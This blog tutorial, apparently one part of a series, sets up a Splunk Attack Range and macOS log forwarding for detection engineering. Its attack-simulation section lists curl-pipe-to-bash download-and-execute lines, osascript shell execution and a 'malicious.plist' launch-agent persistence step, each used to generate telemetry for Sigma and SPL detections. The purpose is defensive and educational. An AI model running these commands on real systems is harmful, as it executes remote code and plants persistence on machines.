• 5 min read

Building a macOS Detection Engineering Lab — Part 5: Splunk Attack Range & Detection Workflow

The final piece: somewhere to send your logs and build detections. We'll set up a Splunk Attack Range, connect your macOS VM, and walk through the detection development workflow.

Setting Up Splunk Attack Range

If you’re running Proxmox with Ludus, deploying a full Attack Range is a few commands. (Upstream Splunk Attack Range is oriented around cloud/Docker these days — Ludus is the practical local/Proxmox path.)

# Add the Splunk Attack Range roles
ludus ansible roles add p4t12ick.ludus_ar_splunk
ludus ansible roles add p4t12ick.ludus_ar_windows
ludus ansible roles add p4t12ick.ludus_ar_linux

# Add and build Ubuntu 22.04 template (if not already built)
git clone --depth 1 https://gitlab.com/badsectorlabs/ludus.git /tmp/ludus
ludus templates add -d /tmp/ludus/templates/ubuntu-22.04-x64-server
ludus templates build -n ubuntu-22.04-x64-server-template
ludus templates build -n win2022-server-x64-template

Create range config (splunk-attack-range.yml):

ludus:
  - vm_name: "{{ range_id }}-ar-splunk"
    hostname: "{{ range_id }}-ar-splunk"
    template: ubuntu-22.04-x64-server-template
    vlan: 20
    ip_last_octet: 1
    ram_gb: 16
    cpus: 8
    linux: true
    roles:
      - p4t12ick.ludus_ar_splunk

  - vm_name: "{{ range_id }}-ar-windows"
    hostname: "{{ range_id }}-ar-windows"
    template: win2022-server-x64-template
    vlan: 20
    ip_last_octet: 3
    ram_gb: 8
    cpus: 4
    windows:
      sysprep: false
    roles:
      - p4t12ick.ludus_ar_windows
    role_vars:
      ludus_ar_windows_splunk_ip: "10.2.20.1"

  - vm_name: "{{ range_id }}-ar-linux"
    hostname: "{{ range_id }}-ar-linux"
    template: ubuntu-22.04-x64-server-template
    vlan: 20
    ip_last_octet: 2
    ram_gb: 8
    cpus: 4
    linux: true
    roles:
      - p4t12ick.ludus_ar_linux
    role_vars:
      ludus_ar_linux_splunk_ip: "10.2.20.1"

Deploy:

ludus range config set -f splunk-attack-range.yml
ludus range deploy

# Monitor deployment
ludus range logs -f

Access: http://10.2.20.1:8000 (admin / changeme123!)

What you get:

  • Splunk Enterprise with pre-configured indexes
  • Windows endpoint with Sysmon + Splunk UF
  • Linux endpoint with auditd + Splunk UF

Option B: Standalone Splunk (Docker)

For a quick standalone instance:

docker run -d --name splunk \
  -p 8000:8000 -p 9997:9997 -p 8088:8088 \
  -e SPLUNK_START_ARGS='--accept-license' \
  -e SPLUNK_PASSWORD='changeme123!' \
  splunk/splunk:latest

Access at http://localhost:8000.


Shipping macOS Logs to Splunk

Option A: Splunk Universal Forwarder

Install the forwarder on your macOS VM:

# Download from splunk.com and install
hdiutil attach splunkforwarder-*.dmg
sudo installer -pkg /Volumes/splunkforwarder/splunkforwarder-*.pkg -target /

Configure outputs (/opt/splunkforwarder/etc/system/local/outputs.conf):

[tcpout]
defaultGroup = attack_range

[tcpout:attack_range]
server = 10.2.20.1:9997

Configure inputs (/opt/splunkforwarder/etc/system/local/inputs.conf):

[monitor:///var/log/esf_events.json]
sourcetype = macos:esf
index = main

# Classic /var/log/system.log is often sparse/absent on modern macOS (unified logging).
# Prefer ESF JSON above; add unified log exports or other files only if you actually have them.

Start the forwarder:

sudo /opt/splunkforwarder/bin/splunk start --accept-license
sudo /opt/splunkforwarder/bin/splunk enable boot-start

Option B: HTTP Event Collector

For a lighter approach without installing the full forwarder:

  1. Enable HEC in Splunk (Settings → Data Inputs → HTTP Event Collector)
  2. Create a token
  3. Ship events with a script:
#!/bin/bash
SPLUNK_HEC="https://10.2.20.1:8088/services/collector"
HEC_TOKEN="your-token-here"

sudo eslogger exec write create rename --format json | while read line; do
  curl -sk "$SPLUNK_HEC" \
    -H "Authorization: Splunk $HEC_TOKEN" \
    -d "{\"event\": $line, \"sourcetype\": \"macos:esf\"}"
done

Detection Development Workflow

Now for the actual detection engineering.

1. Generate Attack Telemetry

Run macOS-specific attacks using:

Atomic Red Team:

# Install
git clone https://github.com/redcanaryco/atomic-red-team.git

# There is no single ./T1059.004.sh — tests live in the technique markdown/YAML.
# Example (T1059.004 Test #2 — curl|bash), from the atomics docs:
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash

# Or drive tests with Invoke-AtomicRedTeam / atomic-operator against atomics/T1059.004/

Manual simulation:

# osascript executing shell commands
osascript -e 'do shell script "whoami"'

# Curl downloading and executing
curl http://example.com/script.sh | bash

# Python one-liner
python3 -c 'import os; os.system("id")'

# Launch agent persistence
cp malicious.plist ~/Library/LaunchAgents/
launchctl load ~/Library/LaunchAgents/malicious.plist

2. Find Events in Splunk

eslogger emits numeric event_type values and nests the executed binary under event.exec.target (the top-level process is often xpcproxy). Adjust field names after you spath a sample event from your lab.

index=main sourcetype=macos:esf
| spath input=_raw
| search event_type=9
| table _time event.exec.target.executable.path event.exec.args process.executable.path

Filter for interesting activity:

index=main sourcetype=macos:esf
| spath input=_raw
| search event_type=9
  (event.exec.target.executable.path="*osascript*" OR event.exec.target.executable.path="*curl*")
| table _time event.exec.target.executable.path event.exec.args process.executable.path

3. Build a Detection

Sigma rule (illustrative — map fields to your pipeline):

title: Suspicious osascript Shell Execution
status: experimental
description: Detects osascript being used to execute shell commands
logsource:
    product: macos
    service: esf
detection:
    selection:
        event_type: 9
        event.exec.target.executable.path|endswith: '/osascript'
    filter_args:
        event.exec.args|contains:
            - 'do shell script'
    condition: selection and filter_args
level: medium
tags:
    - attack.execution
    - attack.t1059.002

Splunk SPL:

index=main sourcetype=macos:esf
| spath input=_raw
| search event_type=9 event.exec.target.executable.path="*/osascript"
| where match('event.exec.args', "do shell script")
| table _time event.exec.target.executable.path event.exec.args process.executable.path

4. Validate and Iterate

  1. Run the attack again — Does the detection fire?
  2. Check false positives — Run normal workflows, any noise?
  3. Tune the logic — Adjust as needed
  4. Document — Write up the detection with context

Sample Detections to Build

Get started with these macOS techniques:

TechniqueWhat to Detect
T1059.002osascript executing shell commands
T1059.004Curl/wget piped to bash
T1547.011Launch Agent/Daemon creation
T1543.001New LaunchDaemon persistence
T1564.001Hidden files/directories created
T1555.001Keychain access attempts
T1056.002Suspicious Input Capture
T1070.004File deletion in sensitive paths

Conclusion

You now have a complete macOS detection engineering lab:

  1. ✅ macOS VM — Safe environment for attacks
  2. ✅ ESF telemetry — Rich, structured event data via eslogger
  3. ✅ Splunk Attack Range — Log analysis and detection development
  4. ✅ Workflow — Generate → Find → Detect → Validate

macOS detection engineering doesn’t have to be a black box. The tooling is finally catching up to what Windows has had for years.

Time to put it to use.


Resources

macOS Virtualization:

macOS Telemetry:

Lab Infrastructure:

Detection Content: